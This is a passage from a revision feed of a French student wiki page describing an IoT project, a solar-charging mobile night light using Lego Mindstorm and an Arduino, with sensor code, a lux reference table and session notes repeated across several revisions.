float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : M.&lt;br /&gt;
Fichier:Fichier:circuit_veilleuse.png|Photo 2 : A.&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46821</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46821"/>
				<updated>2018-01-23T18:27:43Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : M.&lt;br /&gt;
Fichier:Fichier:carte_veilleuse.png|Photo 2 : A.&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46820</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46820"/>
				<updated>2018-01-23T18:23:58Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
[[Fichier:carte_veilleuse.png]]&lt;br /&gt;
[[Fichier:circuit_veilleuse.png]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
